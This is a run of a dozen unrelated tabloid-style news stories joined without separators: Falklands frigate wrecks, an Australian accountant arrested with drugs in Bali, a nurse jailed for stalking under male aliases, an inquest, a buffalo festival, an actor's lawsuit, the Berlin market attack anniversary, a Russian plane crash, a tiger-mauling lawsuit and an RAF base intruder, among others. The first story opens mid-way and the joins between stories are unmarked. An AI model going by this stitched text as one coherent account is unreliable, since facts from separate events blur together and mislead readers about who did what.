The explosion which ripped through HMS Antelope was captured by TV cameras which showed the savagery of the blast

Antelope's sister ship HMS Ardent was sunk in Grantham Sound after being hit by several bombs during an air raid

Ardent burned overnight having been attacked on May 21 while it was bombarding a nearby airstrip. It sank killing 22 men

TV and still pictures of Antelope's sinking became one of the iconic images of the Falklands War.

Her sister HMS Ardent sank in Grantham Sound after being hit by a succession of bombs on May 21, 1982.

Ardent was bombarding an Argentine airstrip from the nearby Falkland Sound when she was attacked by at least three waves of enemy aircraft.

The type 21 frigate burnt throughout the night and sank the next day, taking 22 men with her.

Commander Philip Harper, chief officer of Enterprise, said: 'Of all our sonar images of 1982 wrecks, we think Antelope is the most remarkable - the 4.5-inch gun is probably still loaded.'

Twelve of the survivors of the Coventry, who escaped the blazing inferno on life rafts, visited the site to coincide with the project.

A service of remembrance was held before a wreath was cast into the South Atlantic and a tot of rum poured into the ocean at the request of relatives of the crew lost.

Chris Howe, Coventry Association chairman, consisting of surviving crew, said: 'Hopefully we have done our shipmates proud, right over the spot where we were sunk 35 years ago.

'It's been amazing to come back here and remember our shipmates who are still on patrol.

'Some of us are of an age where we might not be able to get down here again.'

Sister ships HMS Ardent and Antelope lost with days HMS Ardent was engaged in shelling an Argentine-held runway from Falkland Sound on May 21, 1982. The vessel, which was launched in 1975 was attacked by at least three waves of aircraft. The Type 21 Frigate burned overnight before it sank the following day. During the initial attacks, Ardent lost most of its attacking and defensive capability, especially after its Sea Cat missile system was destroyed. The ship, which still had power was ordered to sail to Grantham Sound where it later sank. A total of 22 of the 199-strong crew lost their lives. The survivors were recovered by HMS Yarmouth. HMS Antelope was sent to replace HMS Ardent to carry out air defence duties on May 23 - just three days after her sister ship was sunk. HMS Ardent, pictured, was sunk three days before her sister ship HMS Antelope while on a dangerous air defence operation HMS Antelope, pictured, was destroyed after a bomb exploded during an attempt to defuse the weapon went wrong Antelope was attacked by four A-4B Skyhawks in two waves. The second jet was shot down after it managed to hit the frigate with a 1,000lb bomb - which failed to explode. However, one crewman was killed. The crew on Antelope managed to shoot down one of the aircraft in the second wave which slammed into the ship's mainmast. His bomb failed to detonate despite hitting the ship. Following the attack, Antelope was ordered to move to sheltered water where a pair of bomb disposal technicians from the Royal Engineers attempted to defuse the devices. However, during the attempt to defuse the bombs, one of them went off, killing one of the EOD technicians and setting off a chain of explosions across the ship. Advertisement
An Australian man facing the death penalty in Bali after being caught with crystal meth and ecstasy pills has been rushed to hospital apparently suffering from shock.

Isaac Emmanuel Roberts, born in Toowoomba, south Queensland, was once a high-flying accountant from Queensland who even ran for parliament.

After being allegedly caught with the drugs and arrested on charges which carry the death penalty, he has since been rushed to hospital, according to the Herald Sun.

His lawyer said Roberts suffered from depression and had a risk of committing suicide.

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Isaac Emmanuel Roberts, (pictured) born in Toowoomba, south Queensland, was allegedly caught with the drugs hidden in his suitcase on December 4, but his arrest was kept hidden from the public until now

The 35-year-old fell ill on Monday night after facing charges which carry a maximum of 20 years in jail or the death penalty.

Deni Sedana, one of Roberts' lawyers, said his client fell ill late on Tuesday.

Roberts was apparently given medication and then returned to his jail cell.

Roberts (pictured), was reportedly arrested after officials found the drugs in his luggage on December 4 this year

'He got sick. He was shocked after the press conference today,' Mr Sedana said.

'He has a big tendency to do suicide because he often feels depression. He has a mental disorder.'

Mr Sedana said Roberts had planned to fly from Bangkok, Thailand to Australia, but was convinced by a friend to go to Bali instead.

Roberts was allegedly caught with the drugs hidden in his suitcase on December 4, but his arrest was kept hidden from the public until now.

The 35-year-old chartered accountant confessed to being a prolific drug user and told waiting media he was a 'f***ing addict', but alleges he is not a dealer.

Roberts ran as a Liberal Democrat candidate in the seat of Higgins in Melbourne in 2009. He was unsuccessful, polling eighth out of 10 candidates.

His social media accounts reveal the alleged drug user to be a dedicated gym junkie who regularly visits the Indonesian island and Thailand.

Pictures on his Instagram show his frequent travels to Asian destinations such as Sukhumvit in Bangkok, Thailand.

Roberts was travelling from Bangkok into Bali when he was allegedly caught with the drugs.

He works as a professional accountant and was last registered as an employee of M-Tax Accountants in Queensland.

His career in accounting has taken him to Brisbane, Sydney and Melbourne.

Shocking photographs surfaced on Tuesday showing him sitting in a media conference wearing orange prisoner garb and a black balaclava over his head.

Roberts (right) works as a professional accountant and was last registered as an employee of Tax Accountants in Queensland.

He was pictured beside two other suspects guarded by police officers who wore balaclavas and carried rifles.

Roberts was allegedly found with 6.22 grams of ecstasy, 14.32 grams of methamphetamine and 22 mils of a psychotropic substance.

Details of his arrest were kept secret until Tuesday, when the drug bust was announced by Indonesian officials.

'We have arrested an Australian, IER, for bringing drugs into Bali,' Customs and Excise Officer Husni Syaiful said.

Roberts (pictured) reportedly arrived in Bali on a Thai Airways flight from Bangkok on December 4

Roberts (pictured) was allegedly found with 6.22 grams of ecstasy, 14.32 grams of methamphetamine and 22 mils of a psychotropic substance

Roberts reportedly arrived in Bali on a Thai Airways flight from Bangkok on December 4.

The drugs were allegedly discovered when his luggage was X-rayed.

Indonesia carries the maximum death penalty for drug importation crimes.

Speaking to media after the conference, Roberts reportedly said he was invited to Indonesia by a customs officer.

'I was working with a customs officer and they knew I was going to bring something,' he told reporters in Bali.

Roberts (pictured) reportedly arrived in Bali on a Thai Airways flight from Bangkok on December 4

Isaac Roberts is escorted by officers, followed by media, at the customs office in Kuta, Bali

Isaac Roberts escorted by armed police officers from the media conference on Tuesday

'I'm just a f*****g addict. They want to waste resources on addicts, they want to punish addicts? This is ridiculous. What about the f..g importers? I wasn't going to sell it to anyone here, no one was going to use it here. This is ridiculous. This is an embarrassment.'

Indonesian police alleged Roberts admitted to being a drug user, but denied he was a dealer.

Roberts is being held in jail at police headquarters in Denpasar, Indonesia.

When the police investigation is finished, he will reportedly be transferred to Kerobokan prison - where he will await trial.

Speaking to media after the conference, Mr Roberts (pictured) reportedly said he was 'just a f*****g addict'

A Malaysian man, initials given as CHJ (left) and a US man, initials given as KSL (right) were also arrested after allegedly caught with a small amount of drugs in their possession

Anti-Narcotics Agency officials show an Australian man (second from left), an American man (centre), and a Malaysian man (second from right)

The men arrested were allegedly caught with the drugs including methamphetamine, in their possession

Roberts describes himself as a Chartered Accountant and Registered Tax Agent on his personal website.

'I specialise in personal income tax returns, however years of experience in corporate tax have given me the confidence to service many business clients,' he said.
Adele Rennie, 27, has been jailed for 22 months after using invented aliases to carry out a series of stalking and sexual offences

A former nurse who used male aliases and a voice changing app to stalk women and carry out sexual offences has been jailed for 22 months.

Adele Rennie posed as a male doctor and targeted women online, duping them into sending explicit photographs in an attempt to 'harm and humiliate' them.

The 27-year-old, who worked as a nurse at Crosshouse Hospital in Kilmarnock, pursued relationships with ten women through social media sites, dating websites and apps over a four-year period.

She used the names David Graham, David Crolla and Davie, Marco and Matthew Mancini and often reused the same storyline and characters.

Rennie called her victims using a voice changing app and some received flowers from her invented characters which she hand delivered.

Rennie would arrange to meet her victims and then cancel at the last moment, often with the excuse that close family were very ill, the court heard.

She also accessed the medical records of one of her victims in an attempt to obtain further details.

Rennie was jailed for 22 months at Kilmarnock Sheriff Court after admitting using a host of invented aliases to carry out a series of stalking and sexual offences, a breach of the data protection act and attempting to pervert the course of justice.

Sheriff Elizabeth McFarlane said Rennie's offences were the 'most astonishing' she had ever heard.

Rennie's web of lies was finally revealed after she attempted to seduce model and former Miss Scotland finalist Abbie Draper, who had visited the hospital where Rennie was working to see her dying grandfather.

Rennie used this photograph (left) to convince her victims that she was a male doctor. Her web of lies was finally revealed after she attempted to woo model Abbie Draper, who sent an angry barrage of texts to Rennie (right)

Speaking after the sentencing, Ms Draper (pictured) told of her relief that Rennie was behind bars

JUDGE SLAMS 'COLD AND CALCULATED' FORMER NURSE As she jailed her for 22 months, Sheriff Elizabeth McFarlane told Rennie: 'I hoped your reports would shed some light into your incredibly strange and abusive behaviour  unfortunately it hasn't. 'I've no idea why someone from a good family, job and education would throw it all away inexplicably. 'This was planned with astonishing precision in a cold, calculated manner. 'This caused harm and humiliation to multiple victims, who did not deserve this.' Advertisement

Ms Draper and Rennie met after the nurse was assigned to the same ward as Ms Draper's grandfather John, with the family describing her as the 'world's most attentive nurse'.

Ms Draper, 27, was then contacted on Facebook by Rennie, who was posing as a fake doctor at the hospital by the name of David Graham.

A friend of Ms Draper became alarmed after seeing they had become connected on the social media site as the same account had been used to contact another friend.

The phone number connected to the account was then linked to Rennie.

Ms Draper sent an angry barrage of texts to Rennie, who maintained that she was a real 'f****** doctor' despite the hospital and the NHS not recognising the name.

Rennie admitted attempting to pervert the course of justice by concealing a mobile phone in a bathroom during a police search of her home.

She also admitted attempting to delete an Instagram account, sending a victim a fake identification card she had made in a bid to prove one of her aliases was a real person and disposing of a mobile phone in a bin.

An earlier hearing also heard how Rennie fooled a colleague into believing she was having a five-month relationship with one of the male doctor aliases she had created.

She sent her co-worker a barrage of messages and calls posing as a doctor and persuaded her to send naked photographs.

When the colleague became suspicious Rennie's alter ego 'David Graham' threatened to expose the explicit photos.

According to the Scottish Sun, another victim said she was scared to go outside in case she bumped into the 'Walter Mitty figure', saying she 'didn't know what Rennie was capable of'.

This is another one of the photos the former nurse used to con her victims on social media

Rennie's victim Abbie Draper (pictured) said: 'I'm just so glad it's finally over. She's harmed and humiliated so many people and I'm glad she's going to prison for it'

While on bail, Rennie accessed a number of dating and social media sites and contacted one of her victims.

ADELE RENNIE JAILED FOR 22 MONTHS Rennie pleaded guilty to 18 charges when she appeared at Kilmarnock Sheriff Court on November 13. On Monday she was sentenced to 22 months in prison and was made the subject of a non-harassment order and placed on the sex offenders register. She was charges with ten counts of stalking, four of sexual coercion and four of indecent communication. She also pleaded guilty to three charges of coercing someone to look at an indecent image, one of computer misuse, two of attempting to pervert the course of justice and one count of breaching bail conditions. Advertisement

Speaking after the sentencing, Ms Draper told of her relief that Rennie was behind bars.

She told the Scottish Sun: 'I'm just so glad it's finally over. She's harmed and humiliated so many people and I'm glad she's going to prison for it.

'She's been smug throughout it all and I feel like her tears were fake. I'm just glad I can finally move on with my life now she's in prison.'

Laura Mundell, procurator fiscal for North Strathclyde, added: 'I welcome the conviction and sentence of Adele Rennie.

'Her campaign of stalking and harassment and the invasion of the personal lives of her victim's was wholly unacceptable and caused significant anxiety and alarm.

'Stalking can have a devastating and lasting impact on the lives of victims and we will continue to prosecute stalking offences effectively and appropriately, and use the full powers of the legislation available to us.

'We would encourage anybody who is the subject of this type of behaviour to have no hesitation in reporting what is happening to the police and to be reassured that police and prosecutors take such offences extremely seriously.'
Francesca Lowe, 37, was 25 weeks pregnant when she collapsed in her bathroom at home in Stoke Newington, north London

An award winning painter died along with her unborn baby when she collapsed from heart disease and norovirus.

Francesca Lowe, 37, was 25 weeks pregnant when she lost consciousness in her bathroom at home in Stoke Newington, north London.

Her husband Gavin Nolan rushed found her on lying on the floor and tried to revive her, before paramedics arrived seven minutes after the 999 call.

But sadly, Miss Lowe and her child did not recover and were pronounced dead at the scene on 8.30am on January 23.

The printer and painter studied at the Royal Academy Schools and exhibited her work in London, New York and Beijing.

She had represented the UK at the Beijing Biennale at the National Art Museum in 2008 and won the Red Mansion Prize in 2003, and the Deutsche Bank Pyramid Award for Fine Art the following year.

A few days before her death Miss Lowe had caught the winter vomiting bug norovirus, an inquest into her death at Poplar Coroner's Court was told.

During her pregnancy she was referred to a cardiologist at Homerton Hospital in east London, as a precaution for a heart murmur which she had had since she was seven.

She underwent an echocardiogram during her first pregnancy in 2012, which found she had mitral valve prolapse in her heart, which was also detected on January 4 this year.

But the inquest heard Miss Lowe had been discharged from the care of the hospital's cardiology department in early 2013, after apparently failing to attend a meeting.

Ms Lowe (right, next to one of her pieces) was found collapsed at home by her fellow artist husband Gavin Nolan (left)

A letter was sent to her to confirm the appointment but it was not known if it had been received and her GP was not copied in.

The east London NHS Trust has now changed it policy to inform GPs if patients miss appointments

Assistant Coroner Edwin Buckett said: 'She wasn't immediately referred to a consultant cardiologist after the 4th of January 2017, and nor were the results of the cardiogram relayed to her GP.'

Ms Lowe studied at the Royal Academy Schools and exhibited her work in London, New York and Beijing

At an earlier adjourned hearing Mr Nolan's short witness statement was read to the court by the Coroner in which he said: 'I woke up and went to the toilet and saw Francesca there.

'There was vomit in the toilet and I touched her and she was cold.

'I pulled her out of the toilet into the hallway and I started with CPR before calling the ambulance.'

Toxicology found no trace of drugs or alcohol in her system.

Delivering his verdict Mr Buckett said: 'She was around 25 weeks pregnant with her second child, and had been suffering from a diarrhoea and vomiting bug for a few days.

'Her heart showed significant disease of the mitral valve, with associated scarring, and norovirus was detected.'

The underlying cause of death was given as disease of the heart muscle, while other conditions which indirectly contributed were pregnancy and the norovirus, he said.

Coroner Buckett said: 'I find as a fact that it is likely that Francesca was not complaining of chest pains at the time of that echocardiogram, or any condition which would have warranted an emergency admittance to hospital.'

Giving a narrative verdict, he said: 'Francesca Lowe died in the early hours of the 23rd of January 2017 at her home address along with her unborn child.

'She was approximately 25 weeks pregnant. She had a pre-existing congenital heart condition, identified in 2012 when she was pregnant with her first child.

'She remained under the care of the Homerton Hospital cardiology department, but was discharged from their care in early 2013, seemingly because she didn't attend a meeting.

'Francesca died as a result of congenital mitral valve disease.

A few days before her death Miss Lowe (pictured) had caught the winter vomiting bug norovirus, an inquest into her death at Poplar Coroner's Court was told

'The other conditions that contributed to death are pregnancy and norovirus..

'Her death was as a result of natural causes.'

The coroner will decide whether to make a prevention of further deaths report at a later date.

The inquest heard from Dr Andrew Deaner, a cardiologist who carried out an independent review of the case.

He said Pregnancy put an extra 40 to 50 per cent strain on the heart, although this tended to come at about 35 weeks onwards, the hearing was told.

The hearing was told changes had been made, including 'did not attend' letters now being sent to a patient's GP as well.
A Chinese buffalo trainer has miraculously survived unscathed after getting trapped between two raging bulls at a traditional festival in south-west China.

Two workers were hit as the buffalo charged towards each other, but one of them managed to get away quickly.

The trapped man was dragged for few metres before being rescued by the other people in the ring.

The man in blue jacket is standing between two charging buffaloes during the competition

According to a video from Pear Video, the two buffalo were fighting for the title of 'Buffalo King' on December 6 in the cash-prize competition in Leishan, Guizhou Province.

The man, in blue jacket, had been helping to restrain the two animals in the match and found himself sandwiched between two Asian water buffalo.

Workers and buffalo owners joined force to pull the man out as the two animals went head to head.

He was luckily saved before suffering any serious injuries.

He is trapped as the two bulls hit on head-to-head by their horns in the ring

Colleagues and buffalo owners are desperate to break free of the two enormous bulls

He is pulled free without injured as soon as the two bulls separate for a rest

The annual festival, known as 'Guizhou Leishan Miao Buffalo King Competition', was a five-day event celebrated by the Miao people in China between December 2 and December 6.

Unlike bullfighting or buffalo fighting in other parts of the world, the event is not a deadly battle. Instead, it's seen as a way to celebrate the revered creatures which are vital to the agriculture of the ethnically minority group in rural China.

This year's competition attracted 257 buffalo bulls to enter. They were divided into five groups, with a total cash prize of 1,000,000 yuan (113,260).
Actor Max Beesley is suing TV producers for over 250,000 after injuring his knee booting down a wall while filming a stunt for the hit series Jamestown.

Mr Beesley, 46, from Manchester, suffered his injury after being told to kick through a wooden wall last year.

He claims the wall was made of heavy wood and was not sufficiently weakened before he was told to kick it.

The actor, who plays Henry Sharrow, had to undergo extensive rehab and was unable to work for months, costing him the chance of lucrative roles, he says.

The actor, who plays Henry Sharrow, had to undergo extensive rehab and was unable to work for months, costing him the chance of lucrative roles, he says

In a writ filed at the High Court, his lawyers claim the injury was the fault of production company Carnival Productions Limited and are claiming damages of over 250,000.

'It should have been sufficiently weakened to limit the forces on the claimant when he had to kick it,' barrister Katherine Deal says.

Mr Beesley, born in Burnage, Manchester, sustained his injury while filming the first series of Jamestown in Hungary in August last year.

His character was to rescue another from a fire and, in order to get into the burning building, had to kick through the wall.

Ms Deal states in the writ that Mr Beesley inspected the wall, which appeared to be overlapped planks of heavy wood, partially weakened by sawing and drilling.

He expressed his concern that it was not sufficiently weakened to producer Sue De Beauvoir, but was told 'not to worry about it', the writ claims.

The actor then filmed the scene, kicking a hole through the wood with seven or eight powerful kicks.

'Immediately upon finishing the scene, the claimant noticed pain in his right knee,' the barrister says in the document.

Ms Deal states in the writ that Mr Beesley (pictured as Stephen Huntley in Suits) inspected the wall, which appeared to be overlapped planks of heavy wood, partially weakened by sawing and drilling

'The pain increased and he had to limp. By the end of the evening, his knee had swelled significantly.

'An MRI a couple of days later identified that he had sustained a torn meniscus.

'The injury to his right knee was caused by the impact/repeated impact of the claimant's foot on the wall for the purposes of the scene.

'The wall was solid and had not been weakened sufficiently, and kicking the wall as he was directed to do subjected his knee to excessive compression forces, which led to the damage.'

Ms Deal claims Carnival Production Limited, which also makes Downton Abbey, is liable to pay damages because it failed to ensure the wall was 'appropriately weakened'.

It also appeared to have been made of a heavy plywood, rather than a softer wood like balsa, she says.

The actor had not been adequately trained for what he was to do, and he could have been protected by the use of a stunt man, says Ms Deal in the writ.

'The claimant was unable to look for work or undertake filming until spring 2017,' she continues.

'This was a significant disadvantage for him and he lost the opportunity of competing for and obtaining any of numerous different and well-remunerated film or television roles, with consequential effects on his income and future career.'

He is claiming over 250,000 damages for his injuries and to compensate for his losses.

The company's defence to the claim was not available from the court and the contents of the writ are yet to be tested before a judge.

Jamestown follows the first English settlers as they establish a community in the New World.
The German government failed relatives of the victims of last year's devastating Christmas market attack in Berlin, the country's president has admitted.

Speaking on the anniversary of the attack, President Frank-Walter Steinmeier told survivors and families that the government had not provided adequate support and comfort.

It is a year to the day since rejected Tunisian asylum seeker Anis Amri rammed a truck into the crowded market at Breitscheidplatz, killing 12 and wounding 70 others.

Criticised: German Chancellor Angela Merkel holds a candle at the memorial event today, marking the first anniversary of the terrorist attack on Christmas market in Berlin

In memoriam: It is a year to the day since rejected Tunisian asylum seeker Anis Amri rammed a truck into the crowded market at Breitscheidplatz, killing 12 and wounding 70 others

Apologetic: German President Frank-Walter Steinmeier, second from left, told survivors and victim's families that the government had failed in providing support

Chancellor Angela Merkel, who unveiled a memorial honouring the victims today, has come under fire over security failings and the government's clumsy handling of the aftermath of the assault.

'It is true that some support came late and remained unsatisfactory,' President Frank-Walter Steinmeier told the bereaved and emergency workers at a private church memorial for the victims.

'Many family members and injured - many of you - felt abandoned by the state,' he said, recalling the words of a mother who had lost her daughter and said no-one had comforted her after the attack.

'I can't get those words out of my head,' he admitted, saying that the relatives' appeal to be heard had 'triggered something and set it in motion.'

In the hours following the assault, politicians had put on a brave front and repeated the mantra that Germany would not be cowed by terror.

Dozens of people had gathered by the new memorial on the anniversary of the attack

German Chancellor Angela Merkel made a speech during the opening of the memorial site

Heartbreaking: Pictures of victims are placed at the memorial for the victims of the Christmas market attack in front of Kaiser-Wilhelm-Gedaechtniskirche prior to the commemorative events marking the first anniversary of the terrorist attack

Mourners lay flowers and candles following the inauguration the memorial to victims at the site of the 2016 Christmas market terror attack at Breitscheidplatz

Not good enough: Merkel, who unveiled the memorial today, has come under fire over security failings and the government's clumsy handling of the aftermath of the assault

Chancellor Merkel, who attended several events today, only met victims' families and survivors on Monday, German media reports

But Steinmeier acknowledged such rhetoric had done little for the victims.

'So soon after the attack ... these words don't sound simply defiant and self-confident, but also strangely cold and detached,' he said.

To mark the anniversary, the popular Christmas market at Breitscheidplatz will stay shut all day out of respect for the victims.

Mrs Merkel unveiled the memorial, a 46-foot golden crack in the ground with the steps above engraved with the victims' names at midday today.

The Chancellor remained solemn as she stood by the memorial which had been decorated with white roses.

But the run-up to the commemoration has been marred by criticism of the authorities by families of the victims.

A wrenching open letter by some of the bereaved accused Merkel of failing to personally offer condolences.

The chancellor held her first meeting with relatives only on Monday.

Acknowledging the criticism, Merkel said: 'It is clear to me that their suffering, this complete transformation of their lives, cannot be put right.

'But nevertheless we can show compassion and will improve the things that must be improved.'

Under attack: Many survivors and families of those who were killed in the attack have expressed anger towards Merkel and her government

This year's Christmas market can be seen in the background of the memorial

Honoured: The memorial is a 46-foot golden crack in the ground with the steps above engraved with the victims' names

In an editorial in Tagesspiegel daily, Justice Minister Heiko Maas apologised.

'We were not sufficiently prepared to deal with the consequences of such a terror attack,' he wrote.

'For that, we can only apologise to the victims and their surviving relatives.'

Kurt Beck, who was commissioned by the government to look into the handling of the aftermath, last week outlined a litany of official failings, including taking up to three days to inform anxious relatives that their loved ones had perished and even sending the bereaved autopsy bills complete with late payment warnings.

Further adding to the embarrassment, Bild daily said the letter inviting relatives to Tuesday's commemoration was accompanied by an information sheet stating that 'taxi costs will not be reimbursed!' and urging them to use public transport instead.

A spokeswoman for Berlin authorities, Claudia Suender, told Tagesspiegel that such information was 'required under budgetary and administrative law' even if she 'regretted the impression it gave.'

Police also faced fierce criticism after it emerged that Amri, who arrived in Germany in 2015 and registered under several different identities, should have been deported.

On Sunday, Welt am Sonntag newspaper said the Tunisian had been under closer surveillance by Germany's secret service than previously thought, suggesting the authorities may have left him free in order to detect his instigators.

Amri himself was shot and killed four days after the attack by police in Italy, where he had previously lived.

Tonight at 8:02 pm (7.02pm GMT) - the exact time when Amri rammed his truck into the crowded square a year ago - there will be a public ecumenical prayer when people can light candles and the church's bells will chime for 12 minutes.
More deaths are now caused by prescription medicines than illegal drugs in Australia.

There has been a 'substantial rise' in prescription drug-related deaths, according to the Australian Institute of Health and Welfare.

About one million Australians  or 4.8 per cent of the population  older than 14 had misused a pharmaceutical drug in the last 12 months.

There has been a 'substantial rise' in the deaths caused by prescription drugs according to the Australian Institute of Health and Welfare

This is up from 3.7 per cent when the research first began a decade ago.

In 2016 the non-medical use of pharmaceuticals was higher than all illegal drugs except cannabis.

AIHW spokesman Matthew James said drug-induced deaths are 'more likely to be due to prescription drugs than illegal drugs'.

'In 2016 there were 1808 drug-induced deaths in Australia with benzodiazepines the most common single drug type, identified in 663 drug-induced deaths,' he said.

'This is followed by 550 deaths from other opioids  including prescription painkillers such as oxycodone, morphine and codeine.'

A survey also carried out by the AIHW showed Aboriginal Australians were more than twice as likely to have recently used a pharmaceutical drug for non-medical purposes compared to non-indigenous Australians.

In 2016 the non-medical use of pharmaceuticals was higher than all illegal drugs except cannabis

They survey also found people living in remote, rural areas were almost twice as likely as those living in major cities to use pharmaceutical drugs for non-medical purposes.

'This finding also held true for Australians living in the most disadvantaged socio-economic areas, with 6 per cent having recently misused pharmaceuticals compared with 4.2 per cent of those in the most advantaged areas,' Mr James said.

People who misused pharmaceuticals were also more likely to experience mental illness, chronic pain and psychological distress compared with those who did not misuse them.
ABC/Paula LoboWhile prosecutors in Washington State recently dropped a case against Nelly, in which he had been accused of rape, the rapper is now in the process of clearing his name.

A statement from Nelly's attorney, Scott Rosenblum, to ABC News reads, "A thorough investigation did show Nelly was a victim of deceitful allegation devoid of credibility."

Rosenblum continues, "Nelly has suffered very real damage to his reputation. He has incurred economic loss and painfully has watched his family suffer. As a result, Nelly is planning to proceed with litigation as the first step in restoring his reputation."

As previously reported, in October, a woman claimed that Nelly, born Cornell Haynes Jr., assaulted her on a tour bus after his concert in Auburn, just south of Seattle.

Nelly was taken into custody, booked and released without being charged.

Nelly tweeted he was "beyond shocked" at the woman's "false" allegation.

The accuser's lawyer posted a letter to her website saying that the woman, whom the attorney described as a 21-year-old college student, told the Auburn, Washington Police Department and the King County Prosecuting Attorney's office to "put a halt to the criminal investigation of Cornell Haynes, Jr. (aka Nelly)" and that "she will not testify further in a criminal proceeding against him."



At the time, Nelly's attorney said in a statement to ABC News, "This is welcome news, even though Nelly was one hundred percent sure he would be vindicated. Her reckless accusation, once investigated thoroughly, was exposed for what it was: a fabrication."

The case against Nelly was dropped on Thursday, with the King County Prosecuting Attorney's Office in Washington State telling ABC News in a statement that "without the assistance of the complainant, this office is unable to proceed or fully asses the merits of the case."

Copyright  2017, ABC Radio. All rights reserved.
This is the horrific moment a passenger plane goes into a roll seconds after takeoff then crashes into the snowy runway killing four.

A video caught the chilling failure of Antonov TBC-2MC which suddenly dives in the town of Naryan-Mar in the Russian Arctic.

The pilot lost control soon after take-off this morning and the small single engine aircraft is seen rolling before going into a dive behind an airport hangar.

Emergency services workers gather around the doomed plane. The right wing can be seen badly damaged and the Russian flag is emblazoned upon the tail

Dozens of emergency services personnel huddle around the crash site in Naryan-Mar in the Russian Arctic

The pilot of this plane lost control soon after take-off this morning and the small single engine aircraft is seen rolling before going into a dive behind an airport hangar. Four people died

The agonising final moments of the flight are seen as if in slow motion.

The wings were detached and pictures showed major damage to the passenger cabin.

'There were 13 people onboard, including 11 passengers and two crew members,' said acting Nenets regional governor Alexander Tsybulsky.

'The tragedy occurred during take-off,' he said.

Initial reports were that two had died, but later it was said four perished in the crash.

One of the dead is believed to be a child, aged five.

Two more were female passengers, said reports, and the remaining passengers and crew are in hospital.

Inside the cabin of the plane where the passengers would be sat. Four died and others were taken to hospital

The main cause of the emergency was 'a technical malfunction that occurred during the initial climb' after which the plane 'appeared to spiral downwards'. The pilot, aged 40 with long experience in Arctic aviation, 'could not cope' with the emergency, said an official

One of the dead is believed to be a child, aged five. Two more were female passengers, said reports, and the remaining passengers and crew are in hospital

The main cause of the emergency was 'a technical malfunction that occurred during the initial climb' after which the plane 'appeared to spiral downwards', reported The Siberian Times.

The pilot, aged 40 with long experience in Arctic aviation, 'could not cope' with the emergency, said an official.

The plane was en route to remote Kharuta, a 40 minute flight.
A Chinese woman who saw her mother being mauled to death by a protected tiger has demanded a 1.55 million yuan payout (175,000) from a safari park in Beijing.

The deceased woman, Ms Zhou, was trying to save her daughter, Ms Zhao, who had stepped out of their car in the animal enclosure and got dragged away by a hungry beast last year.

Ms Zhou was killed instantly while Ms Zhao sustained serious injuries and was apparently left disabled.

Ms Zhao (pictured) told Pear Video she hoped the park could bear part of the responsibility

Ms Zhao's mother was killed by a tiger last July at Beijing Badaling Wildlife Park (pictured)

Ms Zhao said through the lawsuit she wants to prove that the Beijing Badaling Wildlife Park should bear part of the responsibility of the incident.

Previous official investigation ruled that the incident was not an accident caused by safety concerns at the park.

The court case started today in Beijing, according to Xinhua News Agency.

Mr Zhao's mother, Ms Zhou, was killed by a Siberian tiger on July 23 last year.

Siberian tiger, also known as Amur tiger, is a protected species in China and listed as an endangered animal by the International Union for Conservation of Nature.

Dramatic video footage captures Ms Zhou chasing her daughter out of the car after watching her being dragged away by the tiger, only to be mauled when she was pounced upon by a second powerful beast.

CCTV footage shows Ms Zhao getting out of her car and walking around to the other side

As she stands, a huge tiger is ready to pounce behind her at the Badaling Wildlife World

Ms Zhao's mother was killed by a Siberian tiger (file photo), a protected species in China

Initially it was thought the family were fighting in the car, hence the reason for Ms Zhao to get out, but later local reports suggested they simply thought they had left the enclosure where ferocious beasts were kept.

Ms Zhao's husband, who was also present, was believed to have tried to save the pair while their child stayed in the car.

The family were eventually rescued by Badaling's staff, but there was nothing that could be done for the mother.

The daughter was seriously injured in the neck. Among the evidence she presented to the court, a report showed that she had been left disabled by the incident.

The 6,000-acre Beijing Badaling Wildlife Park allows people to either drive themselves or join a tour.

Ms Zhao is dragged to the floor where she is mauled by the big cat, sustaining serious injuries

But her mother, Ms Zhou, is mauled to death after she runs out of the car to help the woman

After the incident, the park was told to suspend its operation by the authority of Yanqing District, where it's situated.

In August, an investigation claimed that the incident had not been caused by any safety concerns in the park, and the park resumed business.

The tiger enclosure reopened in November, however self-driving tours have since been prohibited. A sign saying 'do not get off the car' was also put up at the entrance.

Unhappy with the fact that the park had not been held responsible for the incident, Ms Zhao and two family members sent a petition to the court on November 15, demanding a 1.55 million yuan payout.

The payout apparently included 1.25 million yuan (141,000) to cover Ms Zhou's funeral cost, life expenses for Ms Zhou's dependents and consolation compensation for Ms Zhou's family members.

It also included 310,000 yuan (35,000) for Ms Zhao to cover her surgery fees, lost wages, etc.

Ms Zhao told Pear Video that she and her family members came up with the sum based on the degree of the responsibility they thought the park should bear.

In another interview with Xinhua, she said: 'We have never denied our fault, but it doesn't cover the park's responsibility.

'We hope the law could rule the case openly and fairly and divide the responsibility clearly.'

The court case is being heard at the Yanqing District Court of Beijing.
An intruder who was shot at after storming a US Air Force base in Britain with a teddy bear strapped to his body has been detained under the Mental Health Act.

Military personnel fired shots after the man armed with the cuddly toy rammed his vehicle through the gates of RAF Mildenhall in Suffolk yesterday afternoon.

The suspect became involved in an 'altercation' with guards at the main checkpoint at the base after he pretended he was a member of the US Secret Service.

Today, Suffolk Police confirmed the 44-year-old British man arrested in connection with the incident had been detained under section 136 of the Mental Health Act.

Videos show a cordon surrounding a Bell Boeing V-22 Osprey (pictured) a few hours after the incident, which Suffolk Police do not believe to be terror-related

It is currently unclear how far into the base he was able to reach, however aerial footage seems to suggest he may have reached a runway at the centre of the site

Members of the US armed forces stand at the entrance to RAF Mildenhall in Suffolk yesterday

It is thought the man who allegedly rammed his car into a gate at a US Air Force base in Britain may have been trying to reach a military plane

A spokesman said: 'A 44-year-old British man arrested in connection with incident at RAF Mildenhall has been detained under section 136 of the Mental Health Act.

'The male was arrested yesterday on suspicion of criminal trespass and criminal damage. Police investigations into the incident continue.'

Military police refused to let the man through, before he forced the car through the entrance, sparking a security alert in which the base was placed in lockdown.

Sources said he got close to the base's V22 Ospreys, a 43million 'heli-plane' nicknamed the Transformer, before he was apprehended.

The suspect was detained with cuts and bruises. No other people were injured during the 'significant' incident, Suffolk Police said.

Last night his motive was unknown, although defences sources played down suggestions it could be terrorist-related.

It has been claimed that the suspect is a British citizen who pretended to be someone he was not - possibly a senior military figure - to get through a checkpoint

A police car is pictured at the scene following the incident at RAF Mildenhall yesterday

Police rushed to the RAF Mildenhall base (pictured yesterday) in Suffolk to respond to the alert

The man was detained with cuts and bruises and taken into custody after the incident

It is understood the man claimed to be someone 'important within the military establishment' when he was confronted at the base's main gates, although he did not specify a specific individual.

